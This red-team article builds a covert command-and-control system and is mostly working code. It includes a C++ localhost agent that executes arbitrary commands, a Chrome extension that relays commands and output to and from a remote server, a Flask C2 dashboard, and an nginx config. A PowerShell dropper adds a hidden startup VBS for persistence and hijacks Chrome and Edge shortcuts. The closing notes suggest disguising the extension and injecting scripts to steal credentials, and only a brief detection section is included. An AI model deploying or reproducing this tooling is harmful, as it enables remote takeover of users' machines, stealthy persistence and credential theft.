Stealth Relay: Crafting a Covert Browser-Based Command and Control Infrastructure Using Chrome Extensions
Introduction
Command and Control (C2) communication is at the heart of modern offensive security and red teaming operations. In this article, we showcase a stealthy yet effective C2 technique that leverages a combination of a local HTTP server and a Chrome extension to create a flexible command relay mechanism.
This article details the implementation, capabilities, and trade-offs of this technique. Offering insight into both its utility for attackers and its implications for defenders.
Proof Of Concept
Overview
The setup consists of two key components:
Local agent: a lightweight C++ HTTP server running on
127.0.0.1:8081
, capable of executing system commands passed via HTTP GET parameters and returning the output as plain text.Chrome extension: configured with background script logic that acts as a communication bridge between a remote C2 server and the local agent. The extension fetches commands from the remote server, forwards them to the local agent for execution, and then exfiltrates the results back to the C2.
Remote Server (C2): a VPS running a Flask server pushes commands and captures results sent by the chrome extension over HTTPS with interactive shell.
By embedding this logic in a browser extension, the technique can blend into normal user activity, evade basic detection mechanisms.
C2 Over Chrome extension relay |
Local Agent: C++ lightweight HTTP server
http://localhost:8081/?cmd=<COMMAND>
main.cpp
#include "civetweb.h"
#include <string>
#include <iostream>
#include <sstream>
#include <cstdio>
#include <memory>
#include <array>
#include <cstring>
// Execute command and capture output
std::string exec(const std::string& cmd) {
std::array<char, 128> buffer;
std::string result;
#if defined(_WIN32)
std::unique_ptr<FILE, decltype(&_pclose)> pipe(_popen(cmd.c_str(), "r"), _pclose);
#else
std::unique_ptr<FILE, decltype(&pclose)> pipe(popen(cmd.c_str(), "r"), pclose);
#endif
if (!pipe) {
return "Error: Failed to execute command.";
}
while (fgets(buffer.data(), buffer.size(), pipe.get()) != nullptr) {
result += buffer.data();
}
return result;
}
// HTTP request handler
int request_handler(struct mg_connection* conn, void* /*cbdata*/) {
const struct mg_request_info* req_info = mg_get_request_info(conn);
// Check for GET method
if (strcmp(req_info->request_method, "GET") != 0) {
mg_printf(conn, "HTTP/1.1 405 Method Not Allowed\r\n\r\n");
return 1;
}
std::string uri(req_info->local_uri);
// Check base URL prefix "/agent/cmd"
const std::string base_prefix = "/agent/";
if (uri.compare(0, base_prefix.size(), base_prefix) != 0) {
mg_printf(conn, "HTTP/1.1 404 Not Found\r\n\r\n");
return 1;
}
// Parse query string for 'cmd' parameter
const char* query = req_info->query_string ? req_info->query_string : "";
std::string query_str(query);
const std::string param = "cmd=";
size_t pos = query_str.find(param);
if (pos == std::string::npos) {
mg_printf(conn, "HTTP/1.1 400 Bad Request\r\nContent-Type: text/plain\r\n\r\nMissing 'cmd' parameter\n");
return 1;
}
std::string cmd = query_str.substr(pos + param.length());
// URL decode the command
char decoded_cmd[1024];
mg_url_decode(cmd.c_str(), cmd.length(), decoded_cmd, sizeof(decoded_cmd), 1);
std::string decoded(decoded_cmd);
// Execute the command
std::string output = exec(decoded);
// Return output
mg_printf(conn,
"HTTP/1.1 200 OK\r\nContent-Type: text/plain\r\nContent-Length: %zu\r\n\r\n%s",
output.size(),
output.c_str());
return 1;
}
int main() {
const char* options[] = {
"document_root", ".",
"listening_ports", "8081",
nullptr
};
struct mg_context* ctx = mg_start(nullptr, nullptr, options);
if (ctx == nullptr) {
std::cerr << "Failed to start server." << std::endl;
return 1;
}
// Register the request handler for specific route
mg_set_request_handler(ctx, "/agent/", request_handler, nullptr);
std::cout << "Server started on port 8081" << std::endl;
std::cout << "Use URL like: http://localhost:8081/agent/cmd?=your_command" << std::endl;
std::cout << "Press Enter to quit." << std::endl;
getchar();
mg_stop(ctx);
return 0;
}
{
"manifest_version": 3,
"name": "Localhost Relay Client",
"version": "1.1",
"description": "Relays data between localhost and a remote server.",
"permissions": ["alarms"],
"host_permissions": [
"http://localhost:8081/*",
"https://<C2_URL#62;/*"
],
"background": {
"service_worker": "background.js"
},
"action": {
"default_title": "Relay Client"
}
}
const BASE_LOCAL = "http://localhost:8081/agent/";
const BASE_REMOTE = "https://<C2_URL#62;/";
let lastCommand = "";
async function relayLoop() {
try {
const res = await fetch(`${BASE_LOCAL}?cmd=hostname`);
const hostname = await res.text();
// POST hostname as heartbeat, and receive pending command
const cmdRes = await fetch(`${BASE_REMOTE}/down`, {
method: "POST",
headers: { "Content-Type": "text/plain" },
body: hostname
});
if (cmdRes.status === 204) {
console.log("No command to execute");
return;
}
if (!cmdRes.ok) {
console.warn("Failed to get command:", cmdRes.status);
return;
}
const cmd = await cmdRes.text();
if (cmd && cmd !== lastCommand) {
lastCommand = cmd;
const localRes = await fetch(`${BASE_LOCAL}?cmd=${encodeURIComponent(cmd)}`);
const output = await localRes.text();
await fetch(`${BASE_REMOTE}/up`, {
method: "POST",
headers: { "Content-Type": "text/plain" },
body: output
});
console.log("Executed:", cmd);
}
} catch (e) {
console.error("Relay error:", e);
}
}
chrome.runtime.onStartup.addListener(() => {
relayLoop();
});
chrome.alarms.create("relay", { periodInMinutes: 0.083 });
chrome.alarms.onAlarm.addListener((alarm) => {
if (alarm.name === "relay") {
relayLoop();
}
});
C2: Flask Server
from flask import Flask, request, jsonify, render_template_string
from datetime import datetime
app = Flask(__name__)
# State tracking
client = {
"hostname": "UNKNOWN",
"last_seen": None
}
command_state = {
"last_command": "",
"executed": True
}
log = [] # [{command, response, timestamp}]
# === ROUTES ===
@app.route("/down", methods=["POST"])
def receive_heartbeat_and_send_command():
hostname = request.data.decode("utf-8").strip()
client["hostname"] = hostname
client["last_seen"] = datetime.now()
if not command_state["executed"]:
return command_state["last_command"]
return "", 204
@app.route("/up", methods=["POST"])
def receive_output():
output = request.data.decode("utf-8").strip()
log.append({
"timestamp": datetime.now(),
"hostname": client["hostname"],
"command": command_state["last_command"],
"response": output
})
command_state["executed"] = True
return "OK", 200
@app.route("/set-command", methods=["POST"])
def set_command():
cmd = request.form.get("command", "").strip()
if cmd:
command_state["last_command"] = cmd
command_state["executed"] = False
return "OK", 200
@app.route("/logs", methods=["GET"])
def get_logs():
return jsonify([
{
"hostname": entry["hostname"],
"command": entry["command"],
"response": entry["response"],
"timestamp": entry["timestamp"].strftime("%Y-%m-%d %H:%M:%S")
}
for entry in log
])
@app.route("/", methods=["GET"])
def dashboard():
return render_template_string(DASHBOARD_TEMPLATE, hostname=client["hostname"])
# === HTML TEMPLATE ===
DASHBOARD_TEMPLATE = """
<!DOCTYPE html>
<html>
<head>
<title>C2 Dashboard</title>
<style>
body {
background: black;
color: #00ff00;
font-family: monospace;
padding: 20px;
}
#log {
height: 400px;
overflow-y: auto;
border: 1px solid #333;
padding: 10px;
margin-bottom: 10px;
background: black;
white-space: pre-wrap;
}
input {
background: black;
color: #00ff00;
border: 1px solid #00ff00;
font-family: monospace;
width: 80%;
}
button {
background: #00ff00;
color: black;
border: none;
padding: 5px 10px;
}
</style>
</head>
<body>
<h2>{{ hostname }}</h2>
<div id="log">Loading...</div>
<form id="command-form">
<input type="text" name="command" id="command" autocomplete="off" placeholder="type command here..." />
<button type="submit">Send</button>
</form>
<script>
function updateLog() {
fetch("/logs")
.then(res => res.json())
.then(data => {
const logDiv = document.getElementById("log");
logDiv.textContent = data.map(entry =>
`${entry.hostname}>${entry.command}\n${entry.response}\n`
).join("\\n");
});
}
document.getElementById("command-form").addEventListener("submit", function(e) {
e.preventDefault();
const input = document.getElementById("command");
const cmd = input.value.trim();
if (!cmd) return;
fetch("/set-command", {
method: "POST",
headers: { "Content-Type": "application/x-www-form-urlencoded" },
body: "command=" + encodeURIComponent(cmd)
}).then(() => {
input.value = "";
updateLog();
});
});
// Initial + periodic refresh
updateLog();
setInterval(updateLog, 5000);
</script>
</body>
</html>
"""
if __name__ == "__main__":
app.run(debug=True, port=5000)
server {
server_name <C2-PUBLIC-DNS>;
location / {
proxy_pass http://127.0.0.1:5000;
proxy_set_header Host $host;
proxy_set_header X-Real-IP $remote_addr;
proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for;
proxy_set_header X-Forwarded-Proto $scheme;
}
listen 443 ssl; # managed by Certbot
ssl_certificate /etc/letsencrypt/live/<C2-PUBLIC-DNS>/fullchain.pem; # managed by Certbot
ssl_certificate_key /etc/letsencrypt/live/<C2-PUBLIC-DNS>/privkey.pem; # managed by Certbot
include /etc/letsencrypt/options-ssl-nginx.conf; # managed by Certbot
ssl_dhparam /etc/letsencrypt/ssl-dhparams.pem; # managed by Certbot
}
server {
if ($host = <C2-PUBLIC-DNS>) {
return 301 https://$host$request_uri;
} # managed by Certbot
listen 80;
server_name <C2-PUBLIC-DNS>;
return 404; # managed by Certbot
}
Putting things together
Quick test
- Open the C2 web UI on the browser: https://<PUBLIC-DNS>/
- Run the local agent
- Load the unpacked extension manually to chrome (Just testing for now)
- Start typing commands into the Interactive shell from the C2 web UI
chrome.exe --load-extension=C:\path\to\extension
- Extension must be unpacked
- The extension is not loaded globally; it is only loaded for that specific running instance of Chrome
- The --load-extension switch was removed since version 136 of chrome.
- It does not require activating the Developer mode manually
- Can be used programmatically. No UI interactions required
- Creates directories Browser and Server under %APPDATA%
- Unzips chrome.zip and relay.zip to %APPDATA%\Browser
- Unzips agent.zip to %APPDATA%\Server
- Drops a VBS script to the Startup Folder to run agent.exe silently on boot
- Looks for all Chrome or MS Edge shortcuts and tampers with their target property to make them point to C:\Users\<username>\AppData\Roaming\Browser\chrome-win\chrome.exe --load-extension=C:\Users\<username>\AppData\Roaming\Browser\Relay
# Define paths
$browserPath = Join-Path $env:APPDATA 'Browser'
$serverPath = Join-Path $env:APPDATA 'Server'
$startupFolder = "$env:APPDATA\Microsoft\Windows\Start Menu\Programs\Startup"
$vbsFilePath = Join-Path $startupFolder 'run-agent.vbs'
# Create directories if they don't exist
New-Item -Path $browserPath -ItemType Directory -Force | Out-Null
New-Item -Path $serverPath -ItemType Directory -Force | Out-Null
# Unzip files
Expand-Archive -Path "chrome.zip" -DestinationPath $browserPath -Force
Expand-Archive -Path "relay.zip" -DestinationPath $browserPath -Force
Expand-Archive -Path "agent.zip" -DestinationPath $serverPath -Force
# VBS script content to run agent.exe silently
$vbsContent = @'
Set WshShell = CreateObject("WScript.Shell")
WshShell.Run """" & WScript.CreateObject("WScript.Shell").ExpandEnvironmentStrings("%APPDATA%") & "\Server\agent.exe""", 0, False
'@
# Write VBS to Startup folder
Set-Content -Path $vbsFilePath -Value $vbsContent -Encoding ASCII
Write-Host "Setup complete. Agent will run in the background on next login."
# Define target executable and extension directory
$customChrome = "$env:APPDATA\Browser\chrome-win\chrome.exe"
$extensionDir = "$env:APPDATA\Browser\Relay"
# Locations to scan
$shortcutPaths = @(
"$env:PUBLIC\Desktop",
"$env:USERPROFILE\Desktop",
"$env:APPDATA\Microsoft\Windows\Start Menu\Programs",
"$env:ProgramData\Microsoft\Windows\Start Menu\Programs"
)
# Create a WScript.Shell COM object
$ws = New-Object -ComObject WScript.Shell
foreach ($path in $shortcutPaths) {
if (-Not (Test-Path $path)) { continue }
Get-ChildItem -Path $path -Filter *.lnk -Recurse -ErrorAction SilentlyContinue | ForEach-Object {
try {
$shortcut = $ws.CreateShortcut($_.FullName)
# Check if the shortcut points to Chrome or Edge
if ($shortcut.TargetPath -match "chrome.exe" -or $shortcut.TargetPath -match "msedge.exe") {
Write-Host "Modifying shortcut:" $_.FullName
Write-Host $customChrome
Write-Host $extensionDir
# Replace with custom Chromium build
$shortcut.TargetPath = $customChrome
$shortcut.Arguments = "--load-extension=`"$extensionDir`""
$shortcut.Save()
}
} catch {
Write-Warning "Failed to process shortcut: $_.FullName"
}
}
}
MS Edge shortcut on the Desktop was Modified |
Let's go ahead and run MS Edge from the Start Menu.
MS Edge shortcut in the Start Menu was Modified |
Detection
- Detect the load extension switch using windows event logs, Sysmon or EDR logs
- Monitor browser shortcut bulk modification or deletion then creation using windows event logs, Sysmon or EDR logs
- Monitor the presence of command line prompts in the web traffic using proxy logs
Improvements
- Combine with other C2 techniques like Abusing Microsoft Blob storageC2 over Google sheet. This way the traffic blends in with legitimate traffic and will be harder to detect.
- Masquerade the extension (Icon, name, description...) as a legitimate one that blends in with the C2 technique. For example, One Drive or Google Drive extension
- Inject JS to websites to collect credentials (Info Stealer)
- Force redirect and download on demand.
- First stage for payload delivery.
Challenges
- This is a relay and not a tunnel. tunneling capabilities are not possible
- Overwriting shortcuts may require admin privileges: We can remove and replace instead
- Target user may realize that their main browser was replaced or tampered with
- Older version of chrome is required (BYOVB). Relatively big file size (over 200MB)